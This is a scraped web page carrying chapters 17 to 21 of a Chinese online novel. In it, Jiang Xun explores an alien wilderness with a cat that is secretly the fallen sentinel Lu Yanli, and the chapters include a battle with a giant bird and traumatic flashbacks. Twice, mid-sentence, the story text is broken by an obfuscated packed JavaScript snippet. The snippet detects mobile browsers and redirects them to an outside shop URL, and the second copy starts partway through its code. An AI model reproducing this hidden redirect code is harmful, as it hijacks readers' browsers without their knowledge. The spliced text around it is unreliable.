猫猫马上扭头就要跳下沙发逃离这个社死现场，刚一跃起，却觉腹部一紧，一股力量传来，又被此时格外可恶的男人拦腰抱了回来。 猫猫也不扭头，立马再次收缩腹部，又跳了出去。谁知此时的男人也不知是怎么的，像是突然打通了任督二脉，能预判到他的行动一样，再次及时地拦住他的腹部把他抱了回来。 猫猫羞脑得眼睛里都溢出了水光，一阵上下左右地四面突围，又被男人不断地拉扯回来。 终于忍不住地回头，控诉地冲着他喵呜喵呜的抗议。 可恶的男人这才良心发现，嘻嘻笑着最后捏了一把猫猫的肉垫才松开了手。 猫猫一经脱困马上便一溜烟儿地跑不见了。 江寻吸够了猫，这才笑眯眯地站起身来，伸展了一下窝在沙发里一下午的腰肢，向着楼上的卧室走去。 走了几步，他才恍然发觉，经过这一番打闹，刚刚醒来时的晕眩感觉，此时居然已经完全消失了踪影。 * 冬日晴好。 江寻早早起身，依照惯例，先去一楼的培育室里查看了一番作物生长进度。再去地下二楼的制备室制作猫猫的鱼冻罐罐和一些日常消耗品。 “只够做不到五个罐罐了啊……”那天在湖边取来的小鱼，被江寻放入了培育室的海洋球里培育，已经繁殖出了一小片群落。但是成鱼的数量太少了，鱼苗还需要一段时间才能长成，经过这几天的消耗，能够制作出的罐罐已经屈指可数了。 “剩下的资源也不太多了……”江寻检查着制备室操作台上显示出来的资源储备量。 眼看着要到冬季了，虽然他没有经历过这里的冬天，但是按照常理推断，到时候各种资源、动植物也会更难获取了。 伤也养的差不多了，得趁着冬天还没来的时候重新开始出门探索，储备一些资源了，江寻想道。 几日的居家养伤日子，新的外骨骼和防护服也重新制作出来了。江寻整理了一下出门需要穿戴的装备，回到了楼上。 拿出笔记本，江寻思索着，把需要搜集的资源一一记录上去。 首先是最基础的木材和纤维藤蔓类，最好能找到一些暴露在地表的矿石。 经过上次的遇险，江寻发现自己的武器储备还是太少了。脉冲电棍只能对付一些普通的小型动物，对体型巨大的野兽基本不能发挥什么作用。同理外骨骼也是如此，它更适用于辅助提升自己的基础素质，相比起战斗，更适合用来闪避逃跑。 如今他没有权限利用制备室制作一些高精尖武器，那至少也要制作一些冷兵器来护身伤敌。 另外，他自己的食物可以都由合成营养剂来代替，但是猫猫对营养剂却没什么兴趣，还需要再去给他捕捉一些食材。 对了，之前布置的捕鼠笼也还没收回，正好去看看经过这几天有没有什么收获。 还有……江寻想到了什么，抬头打量着房间。 还有那个，江寻一笑，猫猫一定喜欢的。 18. 第 18 章 “嗯？小树也要和我一起出去吗？” 江寻穿戴整齐正要出门，却发现猫猫也在此时从里间轻巧地迈了出来，走到他的前面。 为了今天的探索，江寻做了不少的准备。 全套的防护服和外骨骼、电棍的制式组合之外，江寻还专门消耗珍惜的液氦资源，制作了一双能够极大提升运动速度、减少高空坠落伤害的氦动力靴。还有一件能够通过折射光线实现80%可见光隐形的光学迷彩斗篷。 更不必说如微电流渔网之类的几种资源收集工具。 “小树是担心我吗？我今天出门不打架的，遇到危险了就第一时间逃跑，危险不算大的。” 江寻原地蹲下，摸了摸猫猫的额头说道。 猫猫不理他，一低头，从他的胳膊底下钻了出去，几步跃到门口，回头看向他。 “好吧，”江寻妥协地笑叹：“那就一起去吧，不过要是遇到危险了，小树要记得赶快跑噢。” 陆厌离不置可否，当先领路步入了林中。 趁现在的当口出门搜集资源是对的，但危险岂止是江寻想的仅仅是冬寒将临。 随着静默日地逼近，整个寂静星的磁场都会随着时间推移渐渐活跃起来。这座星球上所有拥有精神力的个体，都会受此影响活跃起来，进入狂躁期。 无数的大型猛兽在这期间都会离开自己的固定领地，在各处流窜，其中也包括那许多精神彻底堕化，沦为野兽的高危堕落哨兵。 若是遇到原生地的野生猛兽那还好些，凭他携带的防身装备，还能够逃得掉。要是此行运气不好，遇上了堕落哨兵，凭着哨兵强大的身体力量，没有自己保护的话，他绝无逃脱的可能。 若是自己能够早来些时日就好了，陆厌离心下叹息。就算没有高精级的芯片，制作能与兽身搭配战斗的智能机械装备，起码能搞到些资源做出质子刀、振金护具等常规武器。可如今，就算有自己的完整权限，一没有原料，二没有时间的情况下，也来不及制作更好的装备了。 谁又能想到，被放逐在这里的堕落哨兵，还需要制作新装备呢？ 江寻带着猫猫小心地穿行在林中。猫猫一直徘徊在江寻前后警戒着，时不时地消失一会儿，转眼又返转回来，帮江寻省下了许多侦查的工夫。 一人一猫不在路上耽搁，很快就到了湖泊附近。 江寻今天打算先来这边捕捞些那种半透明小鱼，再往东拐弯，去视野不太好，同时也潜藏着更多猛兽的板状榕林子。 来到湖泊附近，江寻远远地望了一眼，心中松下口气。 虽然已经时近冬日，这里的温度也还没达到零下，湖面未曾结冰，仍能看到不少鱼影。此时，湖岸边也没有什么大型动物。 江寻把猫猫留在岸边，嘱咐它帮自己放哨，便提着渔网，涉水而下向着湖心走了两三米距离。 防护服隔绝了水流却没有隔绝温度，冰冷的湖水包围在身周，寒气一点点地浸润着江寻的身体。 江寻打了个寒战，手上加快了动作。也不去一个个分辨湖面之下游曳的鱼影，向着鱼影最多的地方便下了渔网。 渔网入水无声，微电流被游鱼触发形成遍布一小片区域的电网。置于渔网范围内的鱼儿在这电网的笼罩之下纷纷中招，被电晕了过去，翻着肚皮浮上了水面。 江寻一扯渔网，便觉沉甸甸，心下喜悦。看来这些鱼儿在这里没有什么天敌，个个都养得膘肥体壮，此时正好便宜了自己。 正要回头之时，突然想到了几日前的境况，动作缓了一缓。眼角余光却在这时瞥见岸边似乎又不见了其他小动物，猛地唬了一跳。 连忙回头仔细看向岸边，却被逗得笑出了声。 猫猫正不停地在他来时的湖岸边游走着，一边不住地回头瞅他，一边对着周围的动物们凶狠哈气。 凶神恶煞的，和缩在他怀里无法反抗时的样子判若两猫。 不止是那些小型食草动物，连一些个头比猫猫高去许多的大中型野兽都不敢越雷池一步踏入它的领地，江寻甚至在其中还看到了一家子看着就不好惹的野猪，也不知猫猫是哪来的这么大威风。 江寻突然恍惚想起初见它时的模样，猛然惊觉，猫猫其实从没有变化过，改变的只是它对待自己的态度。 这一刻，心头又是酸涩又是欣慰，竟一时分辨不出滋味。只觉得周身的寒凉都不值一提，只想赶快做完事，带猫猫一起回家。 陆厌离看着江寻手里攥着一网兜的鱼儿却站在冰凉的湖水里半天不动，疑惑地叫了一声，想过去看看却有些畏惧对它来说太过冰冷的湖水。 犹豫了一下，正要踏入其中去扯江寻出来，却见男人拽着渔网，几步快速地来到自己面前。把渔网往前一丢，便半蹲了下来抱住了自己。 陆厌离被这突然的动作一惊，猛然后仰了一下，脚下却没有如以前那样后退，甚至在男人侧脸贴上来时，不自觉地凑近了一步，顺着男人的力道，悄悄把面颊挤入了他的颈间轻轻摩挲了一下。 江寻怎么会感觉不到猫猫的动作，满足地笑了一声，手指插入长毛底下，贴着温热的皮肤抚摸几下，心里满是熨帖。随即便舒了口气站起身来，带着战利品和猫猫重新出发，继续他们今天的任务。 如来时一样地快速赶路，没一会儿，两人就穿过湖岸区域，进入了东面的板状榕领域。 一来到这里，江寻就提起了十二分的注意。 这片区域是别墅附近植被最茂盛的区域之一。无数自由生长了不知多少年的榕树，霸占了这片森林的绝大多数地盘。葱茏的树枝树叶，将天空遮得密不透风。树木与树木之间，还悬挂垂落着无数藤蔓花叶。 地面之上，除了一层厚厚的落叶、腐殖土的混合物，还密布着许多灌木高草。 行走在这片森林之中，到处都是遮挡物，只有些许阳光透过树叶之间的缝隙投射下来，可视性极差，充满了未知的危险。江寻之前就有好几次在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15762080|174427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里遇到了把自己悬挂起来，伪装成藤蔓的条蛇。 地面之上也布满了陷阱，厚厚的落叶之下，你不知道一脚下去是平地还是陷坑，是泥土还是某些潜藏其中的野兽。 所以如非必要，江寻都是不会深入这里的，就连上次需要穿过这片森林去查看星际来客的踪迹，也只敢从森林的边缘部分绕圈穿行。 上次他留下捕鼠笼的地方就位于这片森林的边缘附近，他沿着森林的边缘前行，一路走一路辨认着自己留下的记号，十分钟左右，就找到了上次留置下的陷阱。 把捕鼠笼全部搜集在一起一看，也不知该算幸运还是不幸。江寻没有在其中找到他想捕捉的那种龋齿鼠，但是其他的收获倒是不少。 四只不同品种，看着与土拨鼠是近亲的野鼠，两只耳朵短小脸颊鼓胀的野兔，一只黑不溜秋全身鳞甲长得像是蜥蜴的爬行动物，居然还有一只体型小巧，短毛长尾的褐色小猫。 那褐色小猫看着刚生下来还没几个月，也不知是什么时候钻进的捕鼠笼。 看那鼠笼里残留的血迹，江寻推测，它大概是捕猎不到猎物，又发现了被困在这个笼子里的小动物，就被引诱了进去。等吃完美餐才发现自己出不去了，于是一直滞留在了这里。 若是江寻他们再晚来两天，小猫估计就要被活活饿死在鼠笼之中了。 “小树快看，是你的同类哦！不过它看着傻乎乎的，你当初可一次也没上过我的当。”江寻饶有兴味地打量着猫猫和笼中的小猫：“怎么样，要不要把它带回去给你作伴呀？” 陆厌离原本正无聊地拨弄着这些笼子里的猎物，闻言马上转过头去盯着江寻。 看他的面上跃跃欲试，还真有可能像他说的那样做，心里一个咯噔，泛起些说不清道不明的滋味来。 江寻话音刚落，伸手就要去把鼠笼中的褐色小猫抱出来。 陆厌离脑子还没想清楚，身体先自己动了起来，一个冲刺挤在江寻和装着小猫的鼠笼之间。最近保养得很好，已经长出了些蓬松绒毛的大尾巴一下拍打到江寻手上，打断了他的动作。 随即往江寻跟前一凑，墨绿眼瞳睁得大大地，带着些委屈与控诉看着江寻，身子也横了过来，严严实实地挡住了江寻往前看的视线。 江寻见此一乐，猫猫这不会是吃醋了吧？ 天可怜见，他只是嘴上说说，想把它放出来喂点吃的，摸两把而已。自家的一个猫主子他都还伺候不明白呢，实在没想着再雪上加霜。 没想到猫猫的反应居然如此有趣，活像…… 对了，活像是妈妈当年知道爸爸在外面有人了一样。 突然想到这里，江寻快乐的情绪一滞，脸上迅速失去了笑意。 仔细一算，自己来到这个新世界居然已经一月有余了。这一个月过得新奇又充实刺激，他已经险些忘记了自己的来处。 直到此刻，深埋在脑海中的记忆被突然激活，江寻的思绪随着记忆慢慢飘远…… 19. 第 19 章 “妈妈，我回来了。”小小的江寻还没有门把高，掏出挂在自己脖子上的钥匙垫着脚打开了家门，背着沉重的书包回了家。 刚进门一抬眼，便看到一个熟悉的高大身影正坐在自家沙发上。江寻眼睛一亮，连书包也来不及放下，脚下鞋子一蹬就抱了上去。 “爸爸，你回来啦！” 男人正刷着手机，被江寻一抱，嘴里答应着，眼睛却还不离手机屏幕。 “寻寻放学回家了？想爸爸没？” 江寻一叠声地应是，对男人的敷衍毫无所觉。匆匆回房间放下了书包，正要出去客厅，突然想到什么，腼腆地抿唇露出点笑容，又打开书包，从里面翻出一张布满了红色对钩的试卷。 “爸爸，我们期中考试的卷子发下来了，老师让家长在上面签……” 江寻抱着整整齐齐叠好的卷子，兴冲冲地奔到客厅，却被一声巨大的“嗙”声吓了一跳。 “江天诚！你在和谁发微信？”妈妈把手上端着的盘子猛地摔在饭桌上，冲着父亲大声问道。 江寻吓得手一缩，诺诺不敢言语，害怕地看着父母。 “没有谁，客户。”父亲面不改色地关了屏幕，把手机往裤兜里一塞。 “把手机拿来，给我看看。”妈妈还穿着围裙，头发被油烟熏得有些发腻，鬓角一缕发丝垂落遮住了眼神。一米五五的个子站在正坐在沙发上的父亲面前，却显得格外气势汹汹。 “看什么，我们说的都是公事，有什么好看的。”父亲的面色有些难看。 “是不是张丽？”母亲头微微低下，凑近父亲就要去掏他的裤兜。 “看什么看，我说了我们之间什么都没有！”父亲的情绪激动起来，站起身来一把推在母亲肩膀上，把她掀翻在了地上。 “你不是答应过我，不再和她联系了吗！”母亲半躺在地上，抬了一下身子却没能起得来，像是一下被抽走了脊梁。这次，江寻看到了她湿润的眼眶和眼睛里闪动着的浓烈情绪。 年幼的江寻不太明白父母怎么突然就吵起来了，只是本能的对这种浓烈的情绪感到了害怕，不由自主地后退了一步。 这一下，惊醒了紧紧捏着手机，气急败坏的父亲，他看一眼江寻，仿佛又找到了正义。 “在孩子面前你在这儿吵什么呢！饭做好了就赶紧开饭，我明天还有事呢！我发现你现在是一点儿也不注意自己的形象了，成天邋里邋遢跟我吵吵吵的，跟个泼妇一样。” “我像泼妇？我都是为了谁？你当初娶我的时候怎么不这么说呢？现在嫌我不如你外面那个好看了是吧？”母亲的情绪激动起来，一下撑起了身体。 父亲面色一下子黑了下来，瞥一眼无措地站在一旁的江寻，摆摆手：“去去去，回你房间写作业去。” 说完起身，一米八往上的高大身躯一下子笼罩住了瘦小的母亲。 江寻本能地哆嗦了一下，攢紧手中的试卷小跑几步回了自己的房间。他害怕极了，不到十岁的心智还不能理解父母话中的内容，但他已经熟悉了接下来会发生的事。 江寻悄悄留了一条门缝，贴在房门上小心听着外面的动静。 不一会儿，外间传来了剧烈的声响，尖叫声、碰撞声，各种声音混杂在一起，魔音般灌入他的耳朵。 江寻害怕地发抖，背对着房门捂着嘴蜷缩下来。 客厅的灯光顺着那一条门缝泄了进来，在墙上映照出两个巨大的扭曲影子。 江寻眼含恐惧看着那巨大的影子，恍惚间看到其中一个影子越变越大，短短的头发慢慢拉长卷起，脑袋中间隆起两个长长的犄角。他张开了大嘴，牙齿也尖锐地暴突了出来，一口咬在了另一个小一些的影子上。 他不是爸爸，他是鬼！ 幼小的孩子害怕得眼泪直流，却不敢出声，紧紧捂着嘴巴偷偷呜咽。直到天色暗淡，外间的声音渐小，疲惫地缩在墙角里睡着。 可那扭曲的鬼影和母亲满溢愤恨与泪水的眼睛却永远刻印在了他的心里。 * “喵~” 一声长长的猫叫，把江寻拉回了现实。 猫猫坐在面前，用深邃的墨绿眼瞳紧紧盯着他，似乎有些焦急。于是那些过往便慢慢变淡，从江寻的心中再次抹去。 江寻看着眼前这个全心全意望着自己的小生命，心底有什么东西在变化着。 脸上失去了惯有的浅浅微笑，半蹲下身，与猫猫平视： “小树，你不许我碰它，是想要做我唯一的猫猫吗？不管以后再遇到多么好看，多么可怜的猫猫，都想让爸爸只疼你一个吗？” 猫猫看着江寻脸上从未出现过的郑重神色，有些迟疑，片刻后，还是轻挪脚步，低头凑近男人轻声呜咽。 江寻一把将猫猫拉过来，压在自己胸前，陆厌离看不到的面庞上，他的嘴角抿紧眼帘下垂，眼睛里不见了惯常的亲切温柔，浮现出一抹幽深。这才让人惊觉，那温柔和煦的少年面庞，竟能在一瞬间显出另一种模样来。 江寻忽然转换了语言：“那你也要永远都做我一个人的猫，永远都不准离开我。” 像是对着猫猫说话，又像是对着遥远时空中的某人。 言罢，江寻真的不再看那褐色小猫一眼，一手环抱着猫猫，一手提起其他猎物，扭头就往回走。 陆厌离敏锐地感觉到了江寻的变化，看了眼被遗落在原地可怜叫唤的小猫，不再像往常那般挣扎，反而伸出两只爪子，环上了江寻的脖颈，安静地被他抱着走。 回去的路上安静极了，江寻神色冷淡地抱着他，微低着头眼神幽暗，脑子里不知道在想着什么。陆厌离在这股不同寻常的气氛下也不敢出声，一直到入了家门，江寻才让他落了地。 陆厌离跟在江寻屁股后面走来走去，看着他把今日的收获都入了库，一直等到他重 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地表上怪石嶙峋，没有什么土壤和植被存在的痕迹，江寻刚来到这里的时候去那边粗略探索过一番。因为能取用的资源太少，又难以挖掘，便很少再过去。 如今想来，那边的岩石模样，许多都是叶片状。在江寻的记忆里，还曾看到过一些像发霉了一样黑白斑驳的细密岩石，若说附近哪里有矿石，恐怕就数那边可能性最大了。 一人一猫一路速行，可遍布岩石的石山行走难度和平地上不可同日而语，行进速度与往常比要慢得多。 一路上，江寻把注意力都集中在了脚下的山石上。他对于矿石知识一窍不通，只是通过全息舱看过一些常用矿物的图片。为了不错过可能的发现，只要遇到外表与图例有些类似，又或者在阳光下反射出金属光泽的石头，都要用便携的矿石检测器检测一番。 值得庆幸的是，沿路这些石头里，的确含有铅锌、铜铁等许多种矿物质成分，江寻甚至还找到了一小块蕴含微量钨钼成分的岩石。 但是遗憾的是，这些暴露出地表的岩石中，矿物蕴含量都太低了，而且开采难度也很大，巨大的体积和重量让人难以把它们运送回别墅去。 眼看太阳已经开始西斜，江寻才搜索到了一半距离，抬头看看前方更加嶙峋险峻的山石，江寻在心里琢磨了一下，招呼上猫猫，把手里的石头一扔，直直地往矮山另一头地裂的方向走去。 矮山背后的这条地裂，长度一眼都看不到头，从矮山的东北部横劈了上去，将大地分隔成了两半。站在崖边往下看去，那深度与广度几可称之为峡谷了。 山崖两侧的岩壁角度近乎垂直，非常深邃。越往下方延伸，山石的颜色越深，光线也越暗，山风从裂隙中刮过，发出阵阵暗哑地啸声，像鬼哭似得。 陆厌离看着江寻拿出膨胀固定钉，钉死在了崖顶上，又取出了伸缩钩索固定在了自己的腰带上，这才明白了他的打算，急急地上前，按住了江寻。 20. 第 20 章 猫猫挡在面前，将江寻手上的钩索打到了地上。 江寻一愕，没想到猫猫这么聪明，自己还没表示什么，它便懂了自己的意图。 “没事的小树，爸爸下去看看能不能找到些矿石，很快就回来，你在这里等爸爸好不好？” 江寻蹲下身来，耐心地和猫猫解释。然而猫猫并未消停下来，叼起钩索的一端甩头一撇，焦躁地绕着江寻打着转，口中还发出声声低吼。 江寻有些诧异于猫猫的异常，沉吟片刻再次探头向着裂口底部观察了一番。 底下十分平静，没有看到什么毒虫野兽的影子，看起来除了格外幽深一些之外并无异样。 然而江寻面对这个自己并不熟悉的世界，并不敢小看任何异常，也许是动物能感知到的一些特殊信号给猫猫预警了呢？ 可是这个裂谷江寻也不得不下，这里已经是最有可能拿到矿石的地方了。如果这一次再无功而返，今年剩下的时间里，他就很难再在这片巨大的无人区里获得足够的金属资源了。 “要不，我们一起下去？”江寻对着猫猫提议道：“用锁扣把我们连在一起，要是遇到了危险，我就马上启动伸缩装置，把我们拉上去。” 猫猫听了这话，动作间有些犹豫，却不再继续阻拦了。江寻利落地捡起钩索，扣在了自己的腰带上，又把猫猫抱进怀里，从伸缩绳上分出一段，在猫猫的前肢肩背上打了一个吊篮结，再用D字扣锁与自己连接在了一起。 检查了一下膨胀锚点，便抱起猫猫，缓缓地放下绳索，沉入了裂口。 江寻也是第一次一个人用安全绳下这么深的悬壁，下降得十分谨慎。幸好此时山风不大，怀里的猫猫也懂事地一动不动。 幸运的是，刚沉下不到五十米距离时，江寻便在悬壁侧面发现了黑云母花岗岩与深深嵌合在其中的蓝绿色金属色带。可惜此处并无落脚点，江寻看了看悬空的脚下，在左下方发现了一点散碎的微光。仔细看去，却是一片散落着不少碎石的缓坡。 江寻一喜，调整了一下下落方向，向着那片缓坡慢慢降落下去。 落地捡起一块石头一测试，检测仪就滴溜溜地转了起来。 这深入山体的裂口里，果然有金属蕴藏量更高的矿石，江寻喜道。 这片缓坡似乎是缘于一次大规模落石，地面上散落着的大大小小的碎石，数量非常充足，完全够江寻一个人使用了。 江寻展开随身带来的折叠矿囊，开始往里面装矿石。 这种矿囊也是由制备室制造出来的一种黑科技装备。外表看起来普普通通，其实运用了空间蜷缩技术，容积有一立方米大小，但压缩后外表只有一拳大小，重量也只有内容物的十分之一，是一种已经十分成熟化的工业装备。 江寻挑挑拣拣，尽量选择矿物蕴含量更高的石头。即使用上折叠矿囊，他一次也只能带上不到半袋的矿石，更多些就要大大影响行动力了。 江寻一边动作着，一边随时注意着猫猫的动静。他相信，在危险面前，野生动物会比人类更敏锐。 猫猫自落地之后，明显更加紧张了，一直逡巡在江寻身周。肩膀微微压低，耳朵也灵活地抖动，前后左右地戒备着。 江寻也不浪费时间，看矿石装得差不多了，果断地封闭矿囊，启动折叠开关，把矿囊压缩后紧紧绑在了腰上。 “小树，走，我们回家了。” 一招手，唤回猫猫抱住，就要启动开关让自动钩索把自己拉上去。 就在这时，一声尖啸从遥远的峡谷一头远远传来。 “唳！” 声音电光火石般迅速变大，同时一股猛烈的风压伴着这声音一起向着江寻袭来。 猫猫耳朵一抖，第一时间跳下江寻怀中，两只前爪瞬间弹出利齿狠狠插进石头地面，冲着声音传来的方向大吼一声。 迅疾而至的大风把它压得直不起身子，全靠两只前爪插在地面上固定住身体。 江寻的反应就慢了许多，突然袭来的大风猛地撞在他身上，把他一下掀开，向着缓坡边缘飞了出去。江寻脚下一空，便直直地向着崖底坠落下去。 江寻与猫猫之间连接着的安全绳一下子拉紧，江寻被这力量阻了一下，身体横拍向崖壁。猫猫也被这股力量拉扯着双爪在地上深犁出十道抓痕，这才止住了下坠的势头。 有了这一缓，江寻马上反应了过来，面朝崖壁，四肢扒住凸起的岩石，胳膊一撑重新爬上了缓坡。 还没等他站起身来，却见一团巨大的阴影从下往上飞速覆盖在了自己身上，头顶感受到了身后袭来的强烈风压。 江寻当机立断，根本不去看背后，直接一拉外骨骼引擎开到最大，同时双脚一撞，鞋底的氦动力喷气口瞬间启动。脚下一个巨大的推进力传来，江寻闪电般向着猫猫的方向贴地平冲了过去。 一声戾啸穿透他的耳膜，带着股来自它主人的暴虐，江寻闻到身后极近处传来一股血腥腐臭味，背后袭来的猛兽已经近在咫尺。 后背迸射出一道电火花，一股刺耳的金属摩擦声在江寻耳边炸响，江寻后心被一个猛烈的冲击力击中。还好江寻此时正在往前冲刺，卸掉了这次攻击绝大多数力量，然而仅仅是残余下来的一点威力，仍然让江寻内腑震动不休。 在这千钧一发之际，江寻猛然抬眼看向前方的猫儿，两双眼瞳一个对视，瞬间明白了彼此的意思。 猫猫弓起身形，后腿用力飞跃而起，向着江寻面门凶猛扑来。江寻默契地一低头一埋身，让气力用尽的猫儿在他背上一踏，再次二段起跳，一人一猫在空中飞速交错而过。 身后一声凄厉的巨大惨嚎声响起，江寻脚跟用力止住身形，旋身看去。 猫儿正好落下地面，右爪寒光闪闪，已然染尽鲜血。 它的对面，一只翼展足有五六米之宽的巨大猛禽“砰”的一声被摔砸在了地上，一边翅膀上鲜血飞射，五道血肉模糊的爪印斜劈而过，几乎将右翅整个撕裂开来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15762082|174427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >陆厌离正要乘胜追击，忽见地面上散落的无数碎石突然震颤了起来，心头暗叫不好，马上止住前进的脚步就要向后退避，可此时已经晚了。 只见那摔落在地的猛禽，像是感受不到疼痛似的，扇动着鲜血淋漓的翅膀翻身而起，面上现出狰狞疯狂之色，眼睛红得似要淌出血来。紧接着，一股混乱旋涡般的庞大精神力被轰然释放，直直撞入离它最近的陆厌离体内。 猝不及防之下，陆厌离被这股混乱的精神力直接侵入了大脑，精神图景里忽的天昏地暗，五感刹那间失去了所有控制，眼前浮现出无数光怪陆离的幻象，耳中鸣起此起彼伏的噪响，连身体的存在都从他脑海中抹除，喝醉酒一样摇晃一下，便无力地摔在了地上。 残余的精神力穿过陆厌离的身体后，再次撞上了位于他身后的江寻。江寻头脑一昏踉跄一下，又迅速伸腿向后一支稳住了身形。 眼看着局势瞬息间对己方不利了起来，江寻当机立断地滑步上前，矮身一捞，把瘫软在地的猫猫抱入自己怀里，趁那禽兽疯狂之际启动紧扣在腰间的钩索，迅速把自己拉上了崖顶。 反手抽出背包里的光学迷彩斗篷一披，脚下不停，抱着猫猫就往山下冲去。 那禽兽居然还不罢休，江寻刚跑出不到五分钟，身后又有尖啸声远远传来。 怀里的猫儿被这声音刺激，身体动了动，眼珠却仍然不见一丝清明。它似乎是感觉到了自己正在不由自主地移动，却神志不清，没有认出江寻，喉间滚出恐吓地低吼，指甲弹出胡乱地挥舞着，神情狂乱，连眼珠都发红了起来。 江寻一惊，迷彩斗篷可挡不住声音。来不及想其他，他迅速伸手捂住了猫儿的嘴巴，把对方拢进怀里埋头狂奔，也不管猫儿迷乱之下一口咬在了他的虎口上。 陆厌离此时的状况糟糕透了。 没想到这次真的遇到了最坏的状况，迎头与一个堕落哨兵狭路相逢。 他如今绝大多数的精神力都被污染得混乱狂暴，平日里需要时时压制起来以维持清明神志，对精神攻击的抵抗力降到了最低点。被这只堕落体狂乱的精神力场碾过，自身的状态迅速恶化了下去，理智如风中残烛般摇曳不休。 无数记忆从脑海中浮现出来，变成几可乱真的幻象围绕着他旋转。记忆慢慢溯回，一个又一个他以为早已忘却的人影由远及近走来。他听到了他们与他说话的声音，触到了他们拍打在自己身上的掌心，他们的面上表情各异，却没有一个为他停留下来。 他的神志迅速蒙昧下去，摇摇晃晃地想去拉住他们，伸手出去对方的身影却一触即溃；想叫住他们，张开嘴却发不出声音。 人影不停走近再离去，陆厌离徒劳地挥舞着手臂，却什么也抓不住。 他的视线慢慢变低，伸开的手掌如时光倒流般，变得小而稚嫩。陆厌离心底忽而升起一股强烈的恐慌，全身停下了动作，眼睛大睁看向前方。 不远处，慢慢浮现出一个笼罩在朦朦白光中的女子。 21. 第 21 章 女人有着一双与陆厌离别无二致的细长眼睛，可与陆厌离的冰冷不同，她的双眼中时刻荡漾着柔媚的波光，盈盈一瞥间便勾去了人的魂儿。 她一身光艳，脚步轻快地跳跃着前进，嘴角噙着笑意，眼中带着点儿骄傲得意紧紧看着陆厌离。 没走几步，身形变化，她的如云秀发被盘起，一身包裹严密的小礼服，动作间拘谨又规矩，看着陆厌离的眼神中现出抹狂热。 再前几步，礼裙逶迤落地，头发却歪歪地堕了下来，脸色发白，眼睛里浮现出恐惧而不可置信的色彩，脚步一乱，绕着陆厌离退出几步。 待她行至陆厌离身侧之时，长长的礼裙已变得破旧脏污，头发凌乱地披散下来，打着绺贴在脸上。面容青白，眼珠都快从眶子里暴突了出来，贴着陆厌离的脸，恶狠狠地死盯着他。 陆厌离骇得一动也不敢动，耳边回荡着女人嘶哑疯狂地诅咒： “你怎么配叫陆星呢？！你这个灾星！我诅咒你！所有的人都会憎恶你，远离你！从今以后，你就叫陆厌离！你最后一定会落得和我一样的下场！一样的下场！” 话音刚落，巨大的火焰从女人脚下燃起，她狂舞着嘶吼着，两只眼睛始终怨毒地盯着陆厌离，直到身躯都在火焰中化为飞灰。 陆厌离的心智似乎也随着身体一起变小了，他被眼前这癫狂的女人吓得眼含泪水，跌倒在地。可看到她身陷火焰之中，神色又焦急了起来，忍不住伸出手，想要把她拉出来。 背后又传来一个遥远的声音。 “星星……星星……” 这声音温柔和煦，带着少年人的清甜，让人只听声音就能想象出来人的可亲，可陆厌离听到这个声音却更加害怕了，身子一颤，顾不得那烧尽在火焰中的女人，慌忙转过了身，还没看到来人的影子便踉跄着退出去好几步，一下摔在了地上。 “不，不要过来！哥哥，你别过来！” 陆厌离以为自己在大声叫着，可泄出口的声音却如蚊蚋般细微。 陆厌离心底恐慌，似乎预见到了什么，双腿在地上蹬踢着后退，泪水越涌越多，却拦不住来人的身影。 长身玉立的少年长得端正极了，看着便是金玉堆里养出来的翩翩公子。可却没有寻常纨绔的傲慢气质，他一点儿也没在意摔在地上的孩子一身狼藉，反而见到陆厌离摔倒，脚下速度又快了几分，远远地就张开手臂向他迎来。 少年越走越快，即将走到他面前时，却面色一变，焦急了起来，大跨几步便要来抱起他。 陆厌离使劲驱动着自己的四肢，哭得泪流满面不住地后退，可面前的少年动作却比现在的他快得多。 陆厌离眼睁睁地看着对方扑到自己面前紧紧抱住了他，漂亮展阔的白色礼服被他身上满溢而出的靛蓝火焰点燃。那火焰像是没有实体，一瞬间就从少年的身上透体而出，少年面上一怔，还没反应过来发生了什么事，下一秒，那如玉容颜便泛起青紫，在靛蓝火焰中寸寸碎裂成灰。 “不！哥哥，不要！” 陆厌离声音嘶哑，张开双臂整个人扑向身前的少年，少年的身影却在他抱上来的刹那间化为一蓬灰烬，在他双臂之间消失殆尽。 陆厌离眼睛大睁，抖着手脚跪在地上摸索，眼泪大颗大颗砸在那蓬飞灰之中。 久久，陆厌离的动作慢了下来，跪趴在地上发出悲痛至极的嘶嚎。 眼泪渐渐干涸，双目失去了神采。陆厌离蜷缩着蜷缩着，身体越变越小，皮肤上开始冒出枯败的灰色长毛。可他此时如失去了所有知觉，头抵地面一动不动地跪趴着，毫不反抗地任由身上的长毛越长越多。 不知过了多久，忽有轻风扬了起来。 那风拂过陆厌离的眼睫，掀起他的眼皮。 于是他的视网膜里又模模糊糊浮现出一抹浅薄的影子。 那个身影很高很大，陆厌离跪趴着只能看到他的脚踝。可那人却蹲下了身子，将一小碗冒着热气的乳白色液体推到了他的面前。 他从地上抱起陆厌离小小的身体，像抱着小婴儿一样轻拍着摇晃，手指成梳一下又一下地抚过他几欲胀裂的脑袋，再把他放进柔软蓬松的太阳花里。一声一声不停地重复着一个名字： “小树，小树……” 陆厌离觉得这声音很熟悉，可脑子已经无法思考，他抬不起头，发不出声，脑中世界颠倒，灵智的火光就要熄灭那最后一点儿焰心。 口中突然流入绝顶鲜美的粘稠液体。 香甜的，甘醇的，渴慕的。 